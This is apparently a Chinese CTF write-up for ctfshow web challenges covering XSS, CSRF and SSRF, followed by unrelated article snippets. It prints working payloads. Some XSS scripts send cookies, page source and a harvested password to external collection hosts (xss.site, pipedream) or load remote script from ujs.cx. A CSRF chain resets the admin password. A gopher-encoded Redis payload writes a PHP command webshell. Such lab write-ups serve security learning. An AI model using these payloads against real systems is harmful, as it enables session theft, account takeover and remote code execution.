当前位置: 首页 > article >正文

渗透基础知识ctfshow——Web应用安全与防护(第六 七章)

提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档文章目录混合型XSSXSS 练习反射型**绕过方法**新增知识平台外带xss编码绕过XSS过滤绕过方法请求伪造漏洞_CSRF绕过方法最简单的SSRFSSRF打Redis总结混合型XSS打开网页可以看到如下页面话不多说开启我们的闯关XSS 练习反射型我们可以看到很普通的登录框输入参数抓包分析一下输入账号密码后提示“账号或密码错误”然后就尝试注册了一个用户再尝试进行登陆随后进入到一个新页面管理员审核后抓包分析发现我们刚刚输入的签名“123”成功显示在了页面上绕过方法我们可以得到以下三个关键信息输入即输出未过滤在请求的 URL 参数中输入了sig123左侧 Request 区域服务器端接收后没有做任何安全过滤或转义直接把这原封不动地“反射”到了页面的 HTML 代码中右侧 Response 区域的p...: 123/p。漏洞成因因为服务器“盲目信任”了输入这就意味着如果你输入的不是普通的数字123而是一段恶意的 JavaScript 代码例如scriptalert(XSS)/script服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时就会当做正常代码执行。题目信息暗示注意看图里那句“管理员会在1分钟内审核”意味着后台有一个模拟的“管理员机器人”会去访问你提交的链接。所以这里我们尝试构造一下payloadscriptalert(XSS)/script成功反弹这里尝试用XSS平台获取管理员的Cookiewebhook.sitehttps://webhook.site/xssaqhttps://xssaq.comscriptwindow.location.hrefhttps://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookiedocument.cookie/script# POST型外带scriptfetch(https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/,{method:POST, body: document.documentElement.outerHTML});/scriptPOST型可以看到都失败了那就换个平台随便选择一个payload输入到签名框里等待即可反弹随后查看内容这里我翻看源码并没有找到flag只能去网上找WP - 原来是还少了一步新增知识平台外带xss为什么需要换平台外带之前使用的 xss 平台虽然能通过 script src 上线但它可能仅支持预定义的数据收集方式比如自动截图、获取 Cookie 等;而无法让你自定义发送任意数据如页面源码因此你需要一个完全可控的外部平台例如 https://pipedream.com它允许你创建一个专属的 HTTP 接收端点Endpoint可以查看所有传入的请求详情包括 Headers、Body、参数。不受数据格式限制你可以自由地将页面源码作为 GET 参数或 POST 数据发送。实时查看日志便于调试和提取密码。步骤如下1在 Pipedream 上创建一个 HTTP 触发器HTTP Endpoint获得一个专属 URL例如 https://eoxxxxxx.m.pipedream.net。然后编写如下 Payload将页面源码发送到这个 URL需要进行登陆并且创建new workflow即可2在弹出的选择框中需要找到并点击 “HTTP / Webhook”。这就是你要找的“HTTP Endpoint”。3随后输入一段异步 XSS 脚本Async XSS用于在浏览器中执行以下操作注意在代码中替换成自己的url(async(){try{constresawaitfetch(/profile,{credentials:include,method:GET});consttxtawaitres.text();constsecrettxt.split(idupass)[1].substr(48,45);constheadersnewHeaders()headers.append(Content-Type,application/json)constbody{test:secret}constoptions{method:POST,headers,mode:cors,body:JSON.stringify(body),}fetch(https://eoiq59v45jb1lvw.m.pipedream.net,options)}catch(e){console.error(e);}})();作用如下向 /profile 发起请求携带 Cookie获取页面 HTML 源码提取其中的密码字段id“upass”将密码通过 POST 请求发送到你的 Pipedream Webhook成功后你在 Pipedream 中就能看到 flag4将这段代码添加进自定义模块。5再次发送XSS语句即可得到结果imgsrcxonerrorscreateElement(script);body.appendChild(s);s.src//ujs.cx/YmU;随后点击按钮编码绕过XSS过滤还是老样子打开网页还是先注册账号然后尝试登陆绕过方法此题只过滤了script 和 \用下面命令进行绕过其余和上一题一样详细步骤同上记得改成自己的配置代码//ujs.cx/EZW1将payload进行base64编码# 原始payloadvar sdocument.createElement(script);s.src//ujs.cx/EZW;document.body.appendChild(s);# base64编码后cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc# 大概形式如下svgonloadeval(atob(cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc))成功返回flag请求伪造漏洞_CSRF同理正常注册用户 123/123 然后进行登陆增加了很多功能可以修改密码获取flag则需要管理员的账号密码绕过方法分析修改密码路由/modifyformmethodpostclassmt-3divclassmb-3labelclassform-label用户名/labelinputclassform-control form-control-lg bg-transparent text-lightnameusernamedisabledvaluetest/divdivclassmb-3labelclassform-label新密码/labelinputtypepasswordclassform-control form-control-lg bg-transparent text-lightnamepasswordrequiredinputtypehiddennamecsrf_tokenvalue3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4/divdivclassd-flex justify-content-between align-items-centerbuttonclassbtn btn-neon btn-lg修改/buttonaclasstext-decoration-none text-infohref/login已有账号登录/a/div/form虽然不验证旧密码但是新增了csrf_token验证XSS的利用点还在我们首先打入xss 看下管理员访问的同源地址否则无法进行CSRF利用(无法携带cookie)成功拿到管理员的同源地址 端口是4476端口也就是后续 修改密码的提交地址应该是本地的4476端口尝试使用XSS来修改管理员的密码无csrf_token检查后端是否对token进行了验证// 构造表单数据 const formDatanew URLSearchParams();formData.append(password,123456);fetch(http://127.0.0.1:4476/modify,{method:POST, headers:{Content-Type:application/x-www-form-urlencoded,}, body: formData, credentials:include// 重要自动携带Cookie}).then(response{}).catch(error{});进行二次XSS获取csrf_token并发给攻击网址fetch(http://127.0.0.1:4476/modify,{credentials:include// 携带Cookie}).then(rr.text()).then(html{// 提取Token const tokenMatchhtml.match(/namecsrf_tokenvalue([^]*)/);if(tokenMatchtokenMatch[1]){const tokentokenMatch[1];const leakUrlhttp://ctf.show.ctfer.com/?token${token}targethttp://127.0.0.1:4476/modify;window.location.hrefleakUrl;}});攻击网址的主要代码如下formidcsrfFormaction{{ target }}methodPOSTinputtypehiddennamepasswordvalue123456inputtypehiddennamecsrf_tokenvalue{{ token }}/formscriptsetTimeout((){document.getElementById(csrfForm).submit();},1000);/script调用的时候通过GET传参后初始化到html表单中这样就可以在管理员无感情况下修改管理员密码进行二次XSS注入成功登陆管理员账号使用 admin /123456来验证账号获取flag最简单的SSRF直接保留地址绕过即可源代码如下?phperror_reporting(0);highlight_file(__FILE__);$url$_POST[url];$xparse_url($url);if($x[scheme]http||$x[scheme]https){$host$x[host];if((strlen($host)5)){$chcurl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$resultcurl_exec($ch);curl_close($ch);echo($result);}else{die(hacker);}}else{die(hacker);}?hacker根据代码直接得到flagSSRF打Redis页面源代码如下?phperror_reporting(0);highlight_file(__FILE__);$url$_POST[url];$chcurl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$resultcurl_exec($ch);curl_close($ch);echo($result);?以下引用自Y0uhe师傅工具使用https://github.com/tarunkant/Gopherus直接使用工具生成payloadpython gopherus.py--exploitredis上述字符解码后的语句为*1$8flushall *3$3set$11$34?php system($_GET[cmd]);?*4$6config$3set$3dir$13/var/www/html *4$6config$3set$10dbfilename$9shell.php *1$4save生成字符的作用是Redis未授权访问写入PHP一句话木马的攻击指令用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。将生成的字符_后面的再进行一次编码POST传入urlgopher://127.0.0.1:6379 /_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250Ashell写入的地址默认url/shell.php成功连接并执行命令连接蚁剑成功根目录下找到flagcat /flaaag总结本文围绕Web安全漏洞展开重点分析了XSS漏洞的绕过策略与平台外带技巧详细解析了CSRF请求伪造的防范与规避并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞文章特别演示了如何利用该漏洞攻击Redis等内部组件展示了从基础漏洞到横向移动的实战链路。

相关文章:

渗透基础知识ctfshow——Web应用安全与防护(第六 七章)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录混合型XSSXSS 练习(反射型)**绕过方法**新增知识:平台外带xss编码绕过XSS过滤绕过方法请求伪造漏洞_CSRF绕过方法最简单的SSRFSSR…...

如何简化多表关联SQL逻辑_利用视图封装复杂JOIN操作

PHP队列消费进程卡住需先检查pcntl_fork是否被禁用;AI请求须设硬超时;Redis队列应使用BRPOPLPUSH防消息丢失;systemd需调大MemoryLimit和RestartSec。PHP队列消费进程卡住不动?先查pcntl_fork是否被禁用很多线上环境(尤…...

部署本地AI大模型--ollma

下载链接: 1.官网:在Windows上下载《Ollama 2.github:Release v0.21.0 ollama/ollama 前言:为什么选择 Ollama Ollama 是一款专为本地运行大模型打造的开源工具,它把复杂的环境配置、依赖管理和模型量化过程都封装…...

3步完成微信聊天记录备份:WeChatExporter终极免费教程

3步完成微信聊天记录备份:WeChatExporter终极免费教程 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter WeChatExporter是一款免费开源的微信聊天记录导出工具&…...

终极网盘直链下载助手完整指南:如何一键获取八大网盘真实下载地址

终极网盘直链下载助手完整指南:如何一键获取八大网盘真实下载地址 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动…...

5步深度解析:ComfyUI-SUPIR图像超分辨率实战指南

5步深度解析:ComfyUI-SUPIR图像超分辨率实战指南 【免费下载链接】ComfyUI-SUPIR SUPIR upscaling wrapper for ComfyUI 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-SUPIR ComfyUI-SUPIR是ComfyUI生态中一款基于扩散模型的专业级图像超分辨率插件…...

TranslucentTB开机自启动失效:Windows启动机制深度解析与系统级解决方案

TranslucentTB开机自启动失效:Windows启动机制深度解析与系统级解决方案 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB Wind…...

如何让AMD/Intel显卡免费获得CUDA加速:ZLUDA兼容层完整指南

如何让AMD/Intel显卡免费获得CUDA加速:ZLUDA兼容层完整指南 【免费下载链接】ZLUDA CUDA on non-NVIDIA GPUs 项目地址: https://gitcode.com/GitHub_Trending/zl/ZLUDA 你是否曾因没有昂贵的NVIDIA显卡而无法运行深度学习项目?当同事们在讨论CUD…...

英雄联盟国服皮肤定制终极指南:R3nzSkin技术深度解析与安全实践

英雄联盟国服皮肤定制终极指南:R3nzSkin技术深度解析与安全实践 【免费下载链接】R3nzSkin-For-China-Server Skin changer for League of Legends (LOL) 项目地址: https://gitcode.com/gh_mirrors/r3/R3nzSkin-For-China-Server R3nzSkin国服特供版是专为中…...

在WSL2 Ubuntu 20.04上编译安装QEMU 6.2.0:一份详细的依赖清单与避坑指南

在WSL2 Ubuntu 20.04上编译安装QEMU 6.2.0:一份详细的依赖清单与避坑指南 对于需要在Windows环境下进行嵌入式或系统开发的工程师来说,WSL2提供了一个近乎原生的Linux开发环境。而QEMU作为一款功能强大的开源模拟器,能够模拟多种硬件架构&…...

避坑指南:Mac+PyCharm安装PyQt5-tools时,解决‘pyuic5路径找不到’和‘Qt Designer打不开’的常见问题

Mac开发者必看:PyQt5环境配置疑难问题全解析 在Mac平台上使用PyCharm进行Python GUI开发时,PyQt5无疑是最受欢迎的选择之一。然而,从安装到配置的完整流程中,开发者常常会遇到各种"坑",特别是对于刚接触Qt框…...

告别Appium!用Python的uiautomator2+weditor 0.6.4搞定安卓自动化测试(附编码避坑指南)

轻量化安卓自动化测试:Python uiautomator2与weditor实战指南 在移动应用测试领域,Appium曾长期占据主导地位,但其复杂的配置环境让不少开发者望而却步。如今,基于Python的uiautomator2与weditor组合提供了一种更轻量、更高效的替…...

Playwright爬虫进阶:如何用`page.route`拦截请求、模拟登录并高效监听API数据?

Playwright爬虫进阶:如何用page.route拦截请求、模拟登录并高效监听API数据? 现代Web应用越来越依赖动态数据加载和复杂的反爬机制,传统的爬虫技术往往难以应对。Playwright作为一款强大的浏览器自动化工具,提供了丰富的API来模拟…...

C++如何实现YAML配置文件的自动备份_文件流操作用法【实战】

YAML配置备份必须用std::filesystem::copy并指定overwrite_existing选项,配合exists预检和try/catch捕获filesystem_error;命名需含时间戳与原扩展名,路径用std::filesystem::path,逻辑须独立于YAML加载。YAML配置文件备份必须用s…...

SQL中如何获取所有列的数据:SELECT -星号用法与性能影响

能用但多数时候不该用——它会解析全部列元数据、传输冗余字段、阻碍执行计划优化,易引发列名冲突、ORM映射错乱等问题,仅限调试或结构极小稳定时使用。SELECT * 在真实查询中到底能不能用能用,但多数时候不该用——不是语法错误,…...

告别Win10黑屏卡顿:深度排查Explorer.exe高CPU占用与启动失败的关联问题

深度解析Windows 10黑屏与Explorer高CPU占用的关联排查指南 你是否经历过这样的场景:Windows 10系统运行越来越慢,任务管理器显示Explorer.exe进程CPU占用率居高不下,最终在某次重启后直接陷入黑屏状态?这看似两个独立的问题——性…...

如何保证MongoDB文档的数据质量_JSON Schema验证规则配置

MongoDB 5.0 启用 JSON Schema 验证需显式配置 validator、validationLevel(推荐 strict)和 validationAction(建议先设 warn);schema 不自动映射 ObjectId/Date,需正则或 format 校验;嵌套字段…...

Navicat导出Excel表格数据为空如何解决_过滤条件与权限排查

...

微信消息自动转发终极指南:如何实现多群消息智能同步的完整教程

微信消息自动转发终极指南:如何实现多群消息智能同步的完整教程 【免费下载链接】wechat-forwarding 在微信群之间转发消息 项目地址: https://gitcode.com/gh_mirrors/we/wechat-forwarding 你是否曾经因为需要在多个微信群之间反复转发相同的信息而感到疲惫…...

浪潮NF5280M6服务器上ESXi 6.7双网卡聚合实战:从交换机LACP到ESXi IP哈希的完整避坑指南

浪潮NF5280M6服务器ESXi 6.7双网卡聚合实战:从交换机配置到主机调优的全链路解析 当两台Intel X710光纤网卡在浪潮NF5280M6服务器机箱里闪烁绿灯时,大多数运维工程师可能不会想到,这个看似标准的硬件组合会在LACP聚合配置中引发持续数小时的网…...

别再只改颜色了!用ECharts GL给你的3D地图加上背景图和地表纹理(Vue3实战)

别再只改颜色了!用ECharts GL给你的3D地图加上背景图和地表纹理(Vue3实战) 当3D地图成为数据可视化的标配,许多开发者仍停留在基础配色调整阶段。实际上,通过ECharts GL的材质系统与环境配置,完全可以让地图…...

微服务 第四天

初识MQ 同步...

别再暴力搜索了!用Python实现Manacher算法,轻松搞定LeetCode 5(最长回文子串)

从暴力搜索到Manacher算法:Python实战最长回文子串 在算法竞赛和面试中,字符串处理问题总是高频出现。LeetCode第5题"最长回文子串"就是一个经典案例,它要求我们在给定字符串中找到最长的回文子串。回文串是指正读反读都相同的字符…...

告别mstsc!用C# WinForm打造一个专属的远程桌面管理工具(支持Win11)

用C# WinForm构建企业级远程桌面管理工具 每次打开Windows自带的远程桌面连接工具mstsc,面对那个简陋的界面和每次都要重复输入的服务器信息,作为.NET开发者的你是否感到效率低下?本文将带你从零开始,用C# WinForm打造一个功能强大…...

企业大模型私有化部署完全指南:数据不出门,智能照样顶

别再让核心数据裸奔了!三步搭建你自己的AI能力中心,成本不到云服务的一半引言:为什么2026年每家企业都该有个“私人大模型”?你有没有遇到过这种情况:想让AI帮忙分析公司上季度的销售数据,但又怕把Excel上传…...

魔兽争霸3终极优化方案:用WarcraftHelper解决现代系统兼容性问题

魔兽争霸3终极优化方案:用WarcraftHelper解决现代系统兼容性问题 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为魔兽争霸3在现代电…...

别再只会用`uvm_object_utils`了!拆解宏定义,搞懂UVM工厂注册的底层逻辑

深入拆解UVM工厂注册机制:从宏定义到对象创建的全链路解析 在芯片验证领域,UVM(Universal Verification Methodology)作为行业标准方法论,其工厂模式(Factory Pattern)的设计精妙程度常常被使用…...

从助听器到嫦娥四号:聊聊通用技术里那些‘活’的考点,帮你轻松搞定高考选择题

从助听器到嫦娥四号:技术考点背后的思维跃迁 高考通用技术科目中,"技术的性质"这一考点常常让考生感到抽象难懂。但如果我们把课本上的六个性质——目的性、创新性、综合性、两面性、专利性和相关性——与现代科技发展的鲜活案例结合起来&…...

避开中介效应陷阱:经济学论文机制检验的另类思路与实操解析

经济学机制检验的突围之路:当中介效应模型不再适用时如何破局 经济学研究中对因果关系的执着追求,使得机制检验成为论文中最令人辗转反侧的部分。当审稿人要求"请补充机制分析"时,许多研究者会条件反射般地打开中介效应模型的Stata…...

企业信用查询怎么查?避坑指南+实操步骤

企业信用查询怎么查?最直接的方式是通过官方渠道或第三方平台,但很多人不知道,错误的查询方法可能会遗漏关键风险。根据2026年行业数据,68%的用户因信息分散导致风险识别不全。那么,如何高效、全面地查询企业信用呢&am…...